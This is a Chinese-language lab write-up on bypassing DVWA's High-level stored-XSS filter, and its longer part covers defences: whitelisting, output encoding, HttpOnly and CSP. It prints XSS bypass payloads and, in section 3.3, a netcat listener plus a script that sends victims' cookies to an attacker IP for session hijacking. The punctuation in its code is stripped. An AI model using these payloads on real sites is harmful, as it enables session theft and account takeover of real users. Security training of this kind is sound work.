1. 项目概述一次针对High级别存储型XSS的深度攻防演练最近在带团队做内部安全能力提升又把DVWADamn Vulnerable Web Application这个经典靶场翻了出来。这次我们聚焦在“存储型XSS”这个老生常谈但常谈常新的漏洞上并且把难度直接拉到了High级别。很多朋友可能觉得XSS嘛不就是弹个框搞个Cookie在Low和Medium级别玩得飞起一到High或者遇到一些看似简单的过滤就束手无策了。这次实战我们就来彻底拆解DVWA High级别的存储型XSS防护机制看看它到底“高”在哪里我们又如何从攻击者的视角去思考绕过最后再从防御者的角度构建一个立体的防御思路。这不仅仅是一次靶场通关更是一次完整的攻防思维训练。存储型XSSStored Cross-Site Scripting之所以危险在于它的“存储”特性。恶意脚本被提交并保存到服务器端比如数据库、文件或内存缓存中当其他用户访问包含该数据的页面时脚本就会在其浏览器中执行。这意味着一次攻击可以影响大量用户危害远大于反射型XSS。DVWA的High级别通常模拟了企业环境中相对严格的、但并非无懈可击的防御措施比如输入过滤、输出编码、内容安全策略CSP的雏形等。我们的目标就是找到这些防御措施的“缝隙”。2. 环境搭建与目标分析2.1 DVWA High级别存储型XSS模块初探首先确保你的DVWA环境已经就绪并且将安全级别设置为“High”。在存储型XSSStored XSS模块下你会看到一个简单的留言板界面包含“Name”和“Message”两个输入框。在Low和Medium级别我们可以轻易地注入scriptalert(1)/script之类的脚本来弹窗。但在High级别你会发现这些“直球”攻击完全失效了。尝试在“Name”或“Message”中输入经典的scriptalert(document.cookie)/script并提交。页面刷新后你大概率看不到弹窗脚本似乎被“吃掉”了。查看页面源代码CtrlU或F12打开开发者工具你会发现输入的内容被原样显示了出来但script标签并没有被浏览器解析为可执行脚本。这就是High级别防御的第一道关卡输出处理。注意DVWA的不同版本如1.9 1.10在High级别的具体实现上可能有细微差别但核心防御思路是一致的。本文基于较常见的实现进行讲解核心绕过思想具有通用性。2.2 防御机制静态分析在发起攻击前聪明的攻击者会先尝试理解防御机制。我们可以通过查看前端HTML代码和后端逻辑如果有源码权限来推测。前端观察提交表单后观察URL和页面响应。通常High级别的防御不会依赖前端JavaScript验证因为易被绕过所以重点在后端。源码分析关键DVWA是开源项目我们可以直接查看其PHP源码。找到vulnerabilities/xss_s/目录下的source子目录查看high.php文件。这里揭示了防御的核心。以常见版本为例其关键代码可能如下?php if( isset( $_POST[ btnSign ] ) ) { // 获取输入 $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // 对“Name”字段进行严格过滤只允许字母和数字 $name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name ); // 对“Message”字段进行消毒使用htmlspecialchars函数 $message htmlspecialchars( $message ); // 数据库查询...略 ?这段代码透露了两个重要信息对Name字段的过滤使用了一个正则表达式/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i来尝试删除“script”这个关键词。注意这个正则匹配的是script这个标签开头并且它试图通过(.*)来匹配可能插入的干扰字符如换行、空格、其他标签但它的逻辑是“删除匹配到的部分”。这个正则本身就可能存在绕过问题。对Message字段的消毒使用了htmlspecialchars($message)。这个PHP函数默认会将特殊字符转换为HTML实体例如变成lt;变成gt;变成quot;等。这通常能非常有效地防止XSS因为浏览器会将实体解码为显示字符而非HTML标签。基于此我们的攻击面分析如下Name字段防御相对较弱是一个自定义的、可能不完善的正则过滤。这是我们的主要突破口。Message字段防御很强使用了标准的输出编码函数。直接注入脚本到此字段几乎不可能成功需要转换思路。3. 核心攻击思路绕过有缺陷的正则过滤既然Message字段被htmlspecialchars锁死我们就主攻Name字段。那个正则表达式/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是我们的目标。3.1 正则表达式缺陷分析这个正则的目的是匹配任何形式的script不区分大小写无论和s之间、s和c之间等插入了什么字符(.*)表示匹配任意字符零次或多次。看起来无懈可击实则不然。关键在于它执行的是preg_replace即替换为空字符串。它只执行一次替换。这就引出了经典的“递归过滤绕过”问题。如果我们的payload在经过一次过滤后剩下的部分恰好又能组合成一个新的有效标签那么攻击就成功了。思考过程假设我们输入scrscriptiptalert(1)/script。后端接收到这个字符串。正则引擎开始查找script。它找到了第一个script即scrscript中的script部分。引擎将匹配到的script从第一个到t替换为空字符串。替换后的字符串变为scriptalert(1)/script。注意替换操作只进行一次。现在字符串里剩下的script是一个完整的、未被过滤的脚本标签因为正则已经执行完毕不会再对结果进行第二次扫描。3.2 构造有效Payload根据以上分析我们可以构造第一个有效的PayloadPayload 1: 递归绕过Name: scrscriptiptalert(1)/script Message: 任意内容如test提交后查看页面源码你会发现Name处显示为scriptalert(1)/script。当页面加载时这个脚本就会执行。Payload 2: 利用标签属性事件正则只匹配script但XSS并非只有script标签。HTML很多标签支持事件处理器如onclick,onmouseover,onload,onerror。我们可以尝试注入一个带事件的标签例如img。Name: img srcx onerroralert(1)提交测试。如果成功说明正则没有过滤img。但High级别通常会更严格。我们查看源码可能会发现Name处变成了img srcx onerroralert(1)但并没有弹窗。这是因为输出到HTML属性中的值如果没有被引号包裹或者被编码也可能被防御。我们需要更精细的构造。Payload 3: 结合大小写与嵌套绕过正则使用了i修饰符表示不区分大小写所以ScRiPt也会被匹配。但我们的递归绕过思路依然有效。更进一步我们可以尝试不使用script标签。Name: svg/onloadalert(1)svg是一个HTML5标签它支持onload事件。如果正则只针对script那么这个payload可能直接绕过。实操验证经过测试在典型的DVWA High设置下Payload 1scrscriptiptalert(1)/script是稳定可用的。这说明自定义正则过滤的“一次性替换”逻辑是重大缺陷。3.3 攻击扩展窃取Cookie与会话劫持弹窗alert只是证明漏洞存在。真实的攻击目的是窃取敏感信息。最常见的目的是窃取用户的会话Cookie。我们可以构造一个Payload将当前用户的Cookie发送到我们控制的服务器上。准备接收端你需要一个能接收HTTP请求并查看日志的服务器。对于本地测试可以用ncNetcat监听一个端口或者使用Burp Suite的Collaborator功能甚至一些在线请求测试网站注意安全勿泄露真实数据。使用nc监听在攻击机终端运行nc -lvnp 9999监听9999端口。构造窃取Cookie的PayloadName: scrscriptiptvar imgnew Image();img.srchttp://你的IP:9999/?document.cookie;/script这个脚本会创建一个不可见的Image对象并将其src属性设置为一个指向你服务器的URL并将Cookie作为查询参数附加上去。实施攻击以攻击者身份或用一个测试账号在DVWA的存储型XSS页面提交这个Payload。然后诱使或等待其他用户比如管理员访问这个留言板页面。接收结果当受害用户访问页面时脚本在其浏览器中执行。你会看到你的nc监听端收到了一个HTTP GET请求请求的URL中包含了该用户的DVWA会话Cookie通常是PHPSESSID。会话劫持攻击者复制这个PHPSESSID值在自己的浏览器中使用开发者工具Application/Cookies修改当前DVWA会话的Cookie值刷新页面即可直接以受害用户的身份登录系统无需密码。实操心得在实际渗透测试中document.cookie可能因为HttpOnly属性而无法被JavaScript读取从而保护了会话Cookie。但很多应用并未全局设置HttpOnly。DVWA的默认会话Cookie通常没有设置HttpOnly因此可以被窃取。这提醒我们防御XSS时给关键Cookie设置HttpOnly属性是至关重要的一环。4. 防御视角构建多层防御体系成功绕过攻击后我们切换视角作为防御者来审视如何修复和加固这个应用。单一的防御措施很容易被绕过我们需要一个深度防御Defense in Depth策略。4.1 第一层输入验证与规范化对于Name字段原来的正则过滤是无效且危险的。我们应该采用“白名单”策略只允许符合预期格式的字符。修复方案如果Name只能是用户名我们可以限制为字母、数字和少量特殊字符并限制长度。// 更安全的Name过滤只允许字母、数字、空格、连字符、下划线且限制长度 if (preg_match(/^[a-zA-Z0-9\s\-_]{1,30}$/, $name)) { // 通过验证 } else { // 拒绝输入返回错误 die(Invalid name format.); }为什么这么做白名单比黑名单试图过滤所有坏字符可靠得多。你定义什么是允许的其他一切都拒绝。4.2 第二层输出编码最关键这是防止XSS最有效、最根本的手段。在任何不可信的数据被插入到HTML文档中时都必须根据上下文进行正确的编码。HTML正文上下文如div$message/div使用htmlspecialchars($var, ENT_QUOTES, UTF-8)。ENT_QUOTES会同时编码单双引号防止属性逃逸。DVWA的Message字段已经做了这一点做得很好。HTML属性上下文如input value$name同样使用htmlspecialchars并且属性值一定要用引号括起来双引号或单引号。否则攻击者可以轻易闭合属性注入新的事件。例如如果代码是input value攻击者输入x οnclickalert(1)就会变成导致XSS。JavaScript上下文如scriptvar name ?php echo $name; ?;/script不能直接用HTML编码。需要使用针对JavaScript的编码如json_encode($var)对于字符串或专门的JS编码函数。更好的做法是避免将动态数据直接放入JS而是通过HTML>ini_set(session.cookie_httponly, 1);或者修改php.ini。这样document.cookie将无法读取到该Cookie攻击者窃取会话的难度大大增加。4.5 第五层框架与库的安全使用现代前端框架如React, Vue, Angular和模板引擎如Twig, Smarty通常内置了自动转义机制能很大程度上避免XSS。但开发者需要了解其原理避免使用危险的API如React的dangerouslySetInnerHTML Vue的v-html。5. 实战演练从攻击到防御的完整复盘让我们将攻击和防御串联起来进行一次完整复盘。攻击链复盘信息收集发现存储型XSS功能点留言板。探测防御输入简单payloadscriptalert(1)/script失败推测存在过滤。分析机制通过源码或黑盒测试如输入scriscriptpt观察输出推断出Name字段存在基于正则的替换过滤且只执行一次。构造绕过利用递归过滤缺陷构造Payloadscrscriptiptalert(1)/script。升级攻击将弹窗payload替换为窃取Cookie的payload搭建服务器接收数据。达成目标获取管理员Cookie完成会话劫持。防御加固实施清单输入层将Name字段的过滤改为严格的白名单正则验证拒绝非法格式。输出层确保所有用户可控数据在输出到HTML时都经过htmlspecialchars($var, ENT_QUOTES, UTF-8)处理。这是修复本次漏洞最直接有效的方法。协议层为会话Cookie设置HttpOnly和Secure如果使用HTTPS属性。架构层制定并部署适合应用的内容安全策略CSP。开发层对团队进行安全编码培训强调“不可信数据必须编码输出”的原则并推荐使用具有自动转义功能的现代开发框架。6. 常见问题与排查技巧实录在实际的漏洞挖掘和修复过程中你会遇到各种各样的问题。下面记录一些典型场景和解决思路。Q1: 我按照Payload输入了但查看页面源码发现script标签还在可就是不弹窗为什么A1: 这是最常见的问题。可能的原因有CSP阻止浏览器控制台F12 - Console可能会有CSP违规错误提示。这说明网站部署了CSP阻止了内联脚本执行。脚本被HTML编码仔细看源码是否被显示为lt;如果是说明输出编码生效了你的绕过Payload虽然绕过了输入过滤但没绕过输出编码。你需要寻找未编码的输出点。语法错误你的Payload在拼接后可能存在JavaScript语法错误。可以在Payload中使用console.log(1)先测试脚本是否执行再替换为复杂的窃取逻辑。标签未闭合或格式错误确保构造的HTML标签是格式良好的。使用浏览器开发者工具的“元素检查”功能看看你注入的代码被解析成了什么样的DOM结构。Q2: 除了script和事件属性还有哪些XSS向量A2: 非常多取决于浏览器和上下文。SVGsvgscriptalert(1)/script/svg或svg/onloadalert(1)。iframeiframe srcjavascript:alert(1)需要浏览器支持且现代浏览器限制增多。link标签结合某些属性可能导致代码执行研究较少但存在。CSS表达式IEdiv stylewidth: expression(alert(1))仅限旧版IE。模板注入如果数据被放入JavaScript模板字符串中可能造成JS上下文下的XSS。排查技巧保持一个不断更新的XSS备忘单Cheat Sheet例如参考OWASP的XSS Filter Evasion Cheat Sheet并在测试时使用浏览器扩展如XSS Strike辅助测试多种向量。Q3: 输出编码用了htmlspecialchars但好像还是出问题了A3: 确保使用了正确的参数htmlspecialchars($var, ENT_QUOTES | ENT_HTML5, UTF-8)。ENT_QUOTES编码单引号和双引号防止属性逃逸。ENT_HTML5使用HTML5的字符引用规则。UTF-8指定字符编码防止编码不一致导致的绕过如UTF-7攻击。最重要的检查输出上下文。如果你把编码后的数据放到了script标签内部或者HTML属性里但没有用引号包裹编码是无效的。例如scriptvar a ?php echo htmlspecialchars($input); ?;/script如果$input是1; alert(1)//编码后是1; alert(1)//这不会改变它在JS中的语义依然是危险的。正确的做法是var a ?php echo htmlspecialchars($input); ?;。Q4: 部署CSP后网站功能异常怎么办A4: 按以下步骤排查使用Report-Only模式先不强制执行只报告违规。分析浏览器报告查看浏览器控制台或配置的CSP报告接收端点找出被阻止的资源。调整策略根据报告将合法的外部域名如CDN加入白名单如script-src self https://cdn.example.com。对于必须的内联脚本或样式可以考虑使用nonce或hash源来允许特定的内联内容而不是简单地启用unsafe-inline。逐步收紧从较宽松的策略开始逐步移除不必要的源最终达到最严格的策略。7. 工具辅助与自动化测试思路手动测试虽然深刻但效率有限。在实际工作中我们可以借助工具。Burp Suite使用Intruder模块对输入点进行模糊测试Fuzzing加载XSS payload字典自动化探测过滤规则和潜在绕过点。Repeater模块用于手动调整和重放请求分析响应。OWASP ZAP类似的自动化漏洞扫描器可以主动扫描XSS漏洞。浏览器扩展如“XSS Helper”、“EditThisCookie”等方便地构造和测试payload管理Cookie。自定义脚本对于复杂的过滤逻辑可以编写Python脚本模拟后端过滤函数本地批量生成和测试可能的绕过payload。自动化测试流程建议爬虫阶段使用工具爬取目标网站所有功能点和参数。探测阶段对所有输入点表单、URL参数、HTTP头注入无害的测试字符如 观察响应判断是否存在过滤或编码。攻击阶段对可能存在问题的点使用工具或脚本加载更全面的XSS payload列表进行攻击。验证阶段人工验证工具报告的潜在漏洞排除误报并深入分析漏洞成因和利用方式。最后我想分享一点个人体会安全攻防的本质是思维的对抗。像这次DVWA High级别的XSS它模拟的是一种“自以为安全”的防御心态——写了一个复杂的正则就觉得高枕无忧。而攻击者正是要找到这种“自以为”背后的逻辑盲点。作为防御者我们必须摒弃“单点防御”的思想建立起从输入、处理、输出到运行时环境的层层防线。每一次成功的绕过都是对防御体系最直接的警示而每一处扎实的修复都是对攻击成本的有效提升。把DVWA这样的靶场吃透举一反三你在面对真实世界纷繁复杂的Web应用时才能既有攻击者的敏锐也有防御者的周全。
